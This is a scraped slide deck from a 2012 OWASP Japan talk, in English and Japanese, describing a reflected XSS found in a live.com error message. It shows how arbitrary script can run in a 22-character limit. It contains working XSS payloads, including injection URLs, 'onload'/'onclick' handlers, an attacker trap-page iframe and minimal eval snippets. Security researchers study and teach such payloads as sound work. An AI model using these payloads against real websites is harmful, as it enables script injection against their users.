27
OWASP Japan 2 nd local Short talk of XSS Jun 27 2012 Yosuke HASEGAWA 短短 XSS 短短

OWASP Japan 2 nd local chapter meeting Short talk of XSS Jun 27 2012 Yosuke HASEGAWA 短いXSSの話

Embed Size (px)

Citation preview

Page 1: OWASP Japan 2 nd local chapter meeting Short talk of XSS Jun 27 2012 Yosuke HASEGAWA 短いXSSの話

OWASP Japan 2nd local chapter meeting

Short talk of XSS

Jun 27 2012Yosuke HASEGAWA

短い XSS の話

Page 2: OWASP Japan 2 nd local chapter meeting Short talk of XSS Jun 27 2012 Yosuke HASEGAWA 短いXSSの話

One dayある日

Page 3: OWASP Japan 2 nd local chapter meeting Short talk of XSS Jun 27 2012 Yosuke HASEGAWA 短いXSSの話

As alwayssurfed websites,

いつものように Web を眺めてると…

Page 4: OWASP Japan 2 nd local chapter meeting Short talk of XSS Jun 27 2012 Yosuke HASEGAWA 短いXSSの話

Just the usualXSS was found.

いつものように XSS が見つかった。

Page 5: OWASP Japan 2 nd local chapter meeting Short talk of XSS Jun 27 2012 Yosuke HASEGAWA 短いXSSの話
Page 6: OWASP Japan 2 nd local chapter meeting Short talk of XSS Jun 27 2012 Yosuke HASEGAWA 短いXSSの話

First of all,view-source:

とりあえず HTML ソース

Page 7: OWASP Japan 2 nd local chapter meeting Short talk of XSS Jun 27 2012 Yosuke HASEGAWA 短いXSSの話

What!?

なにこれ !?

Page 8: OWASP Japan 2 nd local chapter meeting Short talk of XSS Jun 27 2012 Yosuke HASEGAWA 短いXSSの話

<!-- Version: "13.000.20177.00" Server: BAYIDSLEG1C38; DateTime: 2012/05/01 15:13:23 --><input type="hidden" value="MESSAGE: A potentially dangerous Request.QueryString value was detected from the client (param="><h1>XSSed</h1><!--").SOURCE: System.Web FORM:" />

https://*.live.com/?param=><h1>XSSed</h1><!--

XSS caused by error message

不要なエラーメッセージが引き起こした XSS

Page 9: OWASP Japan 2 nd local chapter meeting Short talk of XSS Jun 27 2012 Yosuke HASEGAWA 短いXSSの話

Microsoft “live.com”Over httpsNeedless error message

Interesting but not really matter now

興味深いけれど今はどうでもいい

Page 10: OWASP Japan 2 nd local chapter meeting Short talk of XSS Jun 27 2012 Yosuke HASEGAWA 短いXSSの話

Why not “alert” ?なんで alert じゃないの ?

Page 11: OWASP Japan 2 nd local chapter meeting Short talk of XSS Jun 27 2012 Yosuke HASEGAWA 短いXSSの話

alert is common knowledge for XSSers

alert は僕らの常識

Page 12: OWASP Japan 2 nd local chapter meeting Short talk of XSS Jun 27 2012 Yosuke HASEGAWA 短いXSSの話

Reason

理由

Page 13: OWASP Japan 2 nd local chapter meeting Short talk of XSS Jun 27 2012 Yosuke HASEGAWA 短いXSSの話

<!-- Version: "13.000.20177.00" Server: BAYIDSLEG1C38; DateTime: 2012/05/01 15:13:23 --><input type="hidden" value="MESSAGE: A potentially dangerous Request.QueryString value was detected from the client (param="><h1>XSSed</h1><!--").SOURCE: System.Web FORM:" />

https://*.live.com/?param=><h1>XSSed</h1><!--

22 letters max.最大 22 文字

><h1>XSSed</h1><!--

Page 14: OWASP Japan 2 nd local chapter meeting Short talk of XSS Jun 27 2012 Yosuke HASEGAWA 短いXSSの話

><h1>XSSed</h1><!-- … 19 letters

XSS under 22 letters is too hard

22 文字以下で XSS させるのは難しい

><script>alert(1)</script> …  26 letters ><script>eval(name)</script> …  28 letters

Page 15: OWASP Japan 2 nd local chapter meeting Short talk of XSS Jun 27 2012 Yosuke HASEGAWA 短いXSSの話

XSS で任意のコードを動かすには何文字必要 ?

Page 16: OWASP Japan 2 nd local chapter meeting Short talk of XSS Jun 27 2012 Yosuke HASEGAWA 短いXSSの話

by Gareth Heyes

Page 17: OWASP Japan 2 nd local chapter meeting Short talk of XSS Jun 27 2012 Yosuke HASEGAWA 短いXSSの話

by Gareth HeyesXSS Golf

Page 18: OWASP Japan 2 nd local chapter meeting Short talk of XSS Jun 27 2012 Yosuke HASEGAWA 短いXSSの話

Shortest XSS Challanges

<x/x=&{eval(name)}; // @0x6D6172696F Netscape 4

<svg/onload=eval(name) // @0x6D6172696F

19 letters

22 letters

Page 19: OWASP Japan 2 nd local chapter meeting Short talk of XSS Jun 27 2012 Yosuke HASEGAWA 短いXSSの話

Go back to the XSS

話を例の XSS に戻して

Page 20: OWASP Japan 2 nd local chapter meeting Short talk of XSS Jun 27 2012 Yosuke HASEGAWA 短いXSSの話

<!-- Version: "13.000.20177.00" Server: BAYIDSLEG1C38; DateTime: 2012/05/01 15:13:23 --><input type="hidden" value="MESSAGE: A potentially dangerous Request.QueryString value was detected from the client (param="><h1>XSSed</h1><!--").SOURCE: System.Web FORM:" />

https://*.live.com/?param=><h1>XSSed</h1><!--

22 letters max.最大 22 文字

><h1>XSSed</h1><!--

Page 21: OWASP Japan 2 nd local chapter meeting Short talk of XSS Jun 27 2012 Yosuke HASEGAWA 短いXSSの話

Impossible? No!

不可能?そんなことはない!

Page 22: OWASP Japan 2 nd local chapter meeting Short talk of XSS Jun 27 2012 Yosuke HASEGAWA 短いXSSの話

IE has “URL” property

IE は "URL" プロパティを持っている

><i/onclick=URL=name> …  21 letters

// Trap page created by attacker<iframe src="target" name="javascript:alert(1)">// or use window.open from JavaScript

Mario Heiderich’s work

Page 23: OWASP Japan 2 nd local chapter meeting Short talk of XSS Jun 27 2012 Yosuke HASEGAWA 短いXSSの話

Did it!

できた !!XSS Filter is disabled

Page 24: OWASP Japan 2 nd local chapter meeting Short talk of XSS Jun 27 2012 Yosuke HASEGAWA 短いXSSの話

Variations

22 文字あれば任意のコードが実行可能

<input type=hidden value=><i/onclick=URL=name>

<input type=text value= onclick=URL=name>

<input type=hidden value=""><i/onclick=URL=name>">

20 letters

22 letters

17 letters

Run arbitrary code in 22 letters

Page 25: OWASP Japan 2 nd local chapter meeting Short talk of XSS Jun 27 2012 Yosuke HASEGAWA 短いXSSの話

Shortest JavaScript

10 letters eval(name)

to run arbitrary code

9 letters eval(URL)

8 letters URL=name

6 letters $(URL)

任意コードを実行する最小の JavaScript

Page 26: OWASP Japan 2 nd local chapter meeting Short talk of XSS Jun 27 2012 Yosuke HASEGAWA 短いXSSの話

NetAgent http://www.netagent.co.jp/OWASP Japan 2nd local chapter meeting

Question?

[email protected]@netagent.co.jp

@hasegawayosuke

http://utf-8.jp/

Page 27: OWASP Japan 2 nd local chapter meeting Short talk of XSS Jun 27 2012 Yosuke HASEGAWA 短いXSSの話